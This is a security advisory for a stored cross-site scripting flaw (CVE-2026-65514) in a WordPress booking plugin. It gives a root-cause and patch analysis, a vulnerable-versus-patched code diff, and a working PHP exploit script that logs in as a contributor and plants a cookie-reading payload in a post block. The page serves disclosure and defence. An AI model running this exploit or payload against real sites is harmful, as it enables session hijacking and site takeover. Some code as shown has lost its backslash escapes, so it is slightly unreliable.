Published : August 11, 2026

CVE-2026-65514: Appointment Hour Booking – Booking Calendar <= 1.5.86 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.5.86
Patched Version 1.5.87
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65514:
The Appointment Hour Booking – Booking Calendar plugin for WordPress, version 1.5.86 and earlier, contains a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the render_form_admin() method of the cp-main-class.inc.php file. This method is registered as the render callback for the ‘cpapphourbk/form-rendering’ Gutenberg block. The vulnerability allows authenticated users with contributor-level access to inject arbitrary web scripts that execute whenever a page containing the block is viewed.

Root Cause:
In vulnerable versions, the render_form_admin() method retrieves and outputs the form structure inside a Gutenberg editor context. Specifically, the code at lines 1043-1083 in cp-main-class.inc.php constructs an HTML input element: ‘get_option(‘form_structure’)))).'” …>’. While the form_structure value is escaped with esc_attr(), the instanceId parameter from the block attributes is directly concatenated without any escaping or sanitization. This allows an attacker to inject a crafted instanceId value containing HTML attributes or script payloads. Additionally, the method does not verify that the current user has permission to edit or access the referenced form, relying only on the Gutenberg editor context check.

Exploitation:
An attacker with contributor-level access can craft a post or block content containing the ‘cpapphourbk/form-rendering’ block with a malicious instanceId attribute. Since the block is a dynamic block, the render_callback executes when the post is rendered, whether in the editor or on the frontend. The attacker can set instanceId to a value like ‘” onmouseover=”alert(document.cookie)’ or a simple payload such as ‘”>alert(document.cookie)’. When the page is accessed, the browser interprets the injected HTML, executing the script. The attack vector is through the WordPress REST API or the classic editor’s block editor, as the block attributes are stored in the post content.

Patch Analysis:
The patch, released in version 1.5.87, makes several changes. First, the plugin registers the Gutenberg block inside an ‘init’ action, ensuring the global $cp_appb_plugin is available. Second, the render_form_admin() method is rewritten to sanitize the instanceId. It uses intval() for formId and esc_attr() for instance_id, which escapes the value before output. The form_structure is also cleaned with str_replace() after escaping. More importantly, the patched version does not output any form data in the editor context; instead, it displays a static ‘OK, booking form selected. Great!’ message using esc_html__() for the text. This eliminates the vulnerable output of the form structure and instanceId in the editor. The patch also clarifies the query to fetch the form ID this.$wpdb, reducing potential SQL injection surface.

Impact:
Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of any user who views the affected page. This includes administrators with higher privileges. The impact includes session hijacking, content manipulation, and potential privilege escalation if an administrator’s session is captured. Since the vulnerability requires only contributor-level access, the attacker can target admin users and potentially take over the site. The CVSS score is 6.4, indicating medium severity, but the stored nature of the XSS makes it a persistent threat.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/appointment-hour-booking/app-booking-plugin.php
+++ b/appointment-hour-booking/app-booking-plugin.php
@@ -3,7 +3,7 @@
 Plugin Name: Appointment Hour Booking
 Plugin URI: https://apphourbooking.dwbooster.com
 Description: Appointment Hour Booking is a plugin for creating booking forms for appointments with a start time and a defined duration.
-Version: 1.5.86
+Version: 1.5.87
 Author: CodePeople
 Author URI: https://apphourbooking.dwbooster.com
 License: GPLv2
@@ -146,19 +146,41 @@
 // register gutenberg block
 if (function_exists('register_block_type'))
 {
-    register_block_type('cpapphourbk/form-rendering', array(
-                        'attributes'      => array(
-                                'formId'    => array(
-                                    'type'      => 'string'
-                                ),
-                                'instanceId'    => array(
-                                    'type'      => 'string'
-                                ),
-                            ),
-                        'render_callback' => array($cp_appb_plugin, 'render_form_admin')
-                    ));
+    add_action( 'init', 'cpapphourbk_register_dynamic_block' );
+
+    function cpapphourbk_register_dynamic_block() {
+        global $cp_appb_plugin;
+
+        register_block_type( 'cpapphourbk/form-rendering', array(
+            'api_version'     => 3, // <-- ADD THIS LINE
+            'attributes'      => array(
+                'formId'      => array(
+                    'type' => 'string',
+                ),
+                'instanceId'  => array(
+                    'type' => 'string',
+                ),
+            ),
+            'render_callback' => array( $cp_appb_plugin, 'render_form_admin' ),
+        ) );
+    }
+}
+
+add_filter( 'block_categories_all', 'cpapphourbk_register_block_category', 10, 2 );
+
+function cpapphourbk_register_block_category( $categories, $post ) {
+    return array_merge(
+        $categories,
+        array(
+            array(
+                'slug'  => 'cpapphourbk',
+                'title' => __( 'Appointment Hour Booking', 'appointment-hour-booking' ),
+            ),
+        )
+    );
 }

+
 // banner
 $codepeople_promote_banner_plugins[ 'appointment-hour-booking' ] = array(
                       'plugin_name' => 'Appointment Hour Booking',
--- a/appointment-hour-booking/cp-main-class.inc.php
+++ b/appointment-hour-booking/cp-main-class.inc.php
@@ -1043,41 +1043,72 @@
     }


-    public function render_form_admin ($atts) {
-        global $wpdb;
-        $is_gutenberg_editor = defined( 'REST_REQUEST' ) && REST_REQUEST && ! empty( $_REQUEST['context'] ) && 'edit' === $_REQUEST['context'];
-        if (!$is_gutenberg_editor)
-        {
-            if (!isset($atts["formId"]))
-                return __('Please select a booking form.','appointment-hour-booking');
-            else
-            {
-                $myrows = $wpdb->get_results( $wpdb->prepare ("SELECT * FROM ".$wpdb->prefix.$this->table_items." WHERE id=%d" , $atts["formId"] )); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
-                //if (!count($myrows))
-                //    return __('Please select a booking form.','appointment-hour-booking');
-                //else
-                    return $this->filter_content (array('id' => $atts["formId"]));
-            }
-        }
-        else if (isset($atts["formId"]) && $atts["formId"])
-        {
-            $myrows = $wpdb->get_results( $wpdb->prepare ("SELECT * FROM ".$wpdb->prefix.$this->table_items." WHERE id=%d" , $atts["formId"] )); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
-            if (!count($myrows))
-                return __('Please select a booking form.','appointment-hour-booking');
-            else
-            {
-                $this->setId($atts["formId"]);
-                return '<input type="hidden" name="form_structure'.$atts["instanceId"].'" id="form_structure'.$atts["instanceId"].'" value="'.str_replace("r","",str_replace("n","",esc_attr($this->get_option('form_structure')))).'" /><fieldset class="ahbgutenberg_editor" disabled><div id="fbuilder"><div id="fbuilder_'.$atts["instanceId"].'"><div id="formheader_'.$atts["instanceId"].'"></div><div id="fieldlist_'.$atts["instanceId"].'"></div></div></div></fieldset>';
-            }
-        }
-        else
-        {
-            return __('Please select a booking form.','appointment-hour-booking');
-            //$atts["instanceId"] = '12365';
-            //return '<input type="hidden" name="form_structure'.$atts["instanceId"].'" id="form_structure'.$atts["instanceId"].'" value="'.str_replace("r","",str_replace("n","",esc_attr($this->get_option('form_structure')))).'" /><fieldset class="ahbgutenberg_editor" disabled><div id="fbuilder"><div id="fbuilder_'.$atts["instanceId"].'"><div id="formheader_'.$atts["instanceId"].'"></div><div id="fieldlist_'.$atts["instanceId"].'"></div></div></div></fieldset>';
-        }
+public function render_form_admin( $atts ) {
+    global $wpdb;
+
+    // 1. Check if formId is set. If not, bail early.
+    if ( empty( $atts['formId'] ) ) {
+        return __( 'Please select a booking form.', 'appointment-hour-booking' );
+    }
+
+    $form_id = intval( $atts['formId'] );
+
+    // 2. Run the query ONCE, and only select the ID to save memory.
+    $table_name = $wpdb->prefix . $this->table_items;
+    $query      = $wpdb->prepare( "SELECT id FROM {$table_name} WHERE id = %d", $form_id );
+    $myrows     = $wpdb->get_results( $query ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+
+    // If the form doesn't exist in the DB, bail early.
+    if ( empty( $myrows ) ) {
+        return __( 'Please select a booking form.', 'appointment-hour-booking' );
+    }
+
+    // 3. Determine if we are inside the Gutenberg Editor via the REST API
+    $is_gutenberg_editor = defined( 'REST_REQUEST' ) && REST_REQUEST && ! empty( $_REQUEST['context'] ) && 'edit' === $_REQUEST['context'];
+
+    // 4. Handle Frontend Output
+    if ( ! $is_gutenberg_editor ) {
+        return $this->filter_content( array( 'id' => $form_id ) );
     }

+    // 5. Handle Editor Output
+    $this->setId( $form_id );
+
+    // Prevent PHP warning if instanceId is missing
+    $instance_id = ! empty( $atts['instanceId'] ) ? $atts['instanceId'] : wp_rand( 10000, 99999 );
+    $escaped_id  = esc_attr( $instance_id );
+
+    // Clean up the form structure string
+    $form_structure = esc_attr( $this->get_option( 'form_structure' ) );
+    $form_structure = str_replace( array( "r", "n" ), '', $form_structure );
+
+    // Use sprintf for a clean, readable HTML template
+    return sprintf(
+        '<div style="padding: 30px 20px; border: 2px dashed #c3c4c7; background-color: #f6f7f7; border-radius: 8px; text-align: center; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, 'Helvetica Neue', sans-serif;">
+            <span style="font-size: 32px; display: block; margin-bottom: 12px;">✅</span>
+            <strong style="font-size: 16px; color: #1d2327; display: block; margin-bottom: 8px;">%1$s</strong>
+            <span style="font-size: 14px; color: #50575e;">%2$s</span>
+        </div>',
+        esc_html__( 'OK, booking form selected. Great!', 'appointment-hour-booking' ),
+        esc_html__( 'The appointment booking form will appear here when viewed in the public website.', 'appointment-hour-booking' )
+    );
+    /**
+    return sprintf(
+        '<input type="hidden" name="form_structure%1$s" id="form_structure%1$s" value="%2$s" />
+        <fieldset class="ahbgutenberg_editor" disabled>
+            <div id="fbuilder">
+                <div id="fbuilder_%1$s">
+                    <div id="formheader_%1$s"></div>
+                    <div id="fieldlist_%1$s"></div>
+                </div>
+            </div>
+        </fieldset>',
+        $escaped_id,
+        $form_structure
+    );
+    */
+}
+

     function insert_adminScripts( $hook ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65514 - Appointment Hour Booking - Stored Cross-Site Scripting

/**
 * PoC for CVE-2026-65514: Stored XSS via instanceId in the cpapphourbk/form-rendering block.
 * Requires: Contributor+ user credentials.
 */

$target_url = 'https://example.com'; // Replace with target WordPress site
$username = 'contributor';           // Replace with contributor username
$password = 'password';              // Replace with contributor password

// Step 1: Login and obtain cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Check for login success (redirect to admin or contain 'Dashboard')
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    echo "Login failed. Check credentials.n";
    exit(1);
}

// Step 2: Create a post with the vulnerable block
$post_url = $target_url . '/wp-admin/post-new.php';
$nonce = '';
// Fetch nonce from post-new.php (standard WP requirement)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches)) {
    $nonce = $matches[1];
} else {
    echo "Could not fetch nonce.n";
    exit(1);
}

// Craft the malicious block content
// The vulnerable instanceId is used in output without escaping.
// We'll use a simple XSS payload that triggers on mouseover.
$payload = '" onmouseover="alert(document.cookie)';
$block_content = '<!-- wp:cpapphourbk/form-rendering {"formId":"1","instanceId":"' . $payload . '"} /-->';

$post_data = array(
    'post_title' => 'XSS Test',
    'content' => $block_content,
    'post_status' => 'pending', // Contributor can only publish via review
    'post_type' => 'post',
    '_wpnonce' => $nonce,
    'action' => 'editpost',
    'original_post_status' => 'auto-draft',
    'user_ID' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

if (strpos($response, 'Post published') !== false || strpos($response, 'Post updated') !== false) {
    echo "Post created. Check it at: " . $target_url . "/?p=" . get_post_id($response) . "n";
    echo "Payload: $payloadn";
    echo "Stored XSS triggered when hovering over the block area.n";
} else {
    echo "Post creation failed. Check output for errors.n";
}

function get_post_id($html) {
    if (preg_match('/post=([0-9]+)/', $html, $matches)) {
        return $matches[1];
    }
    return 'unknown';
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.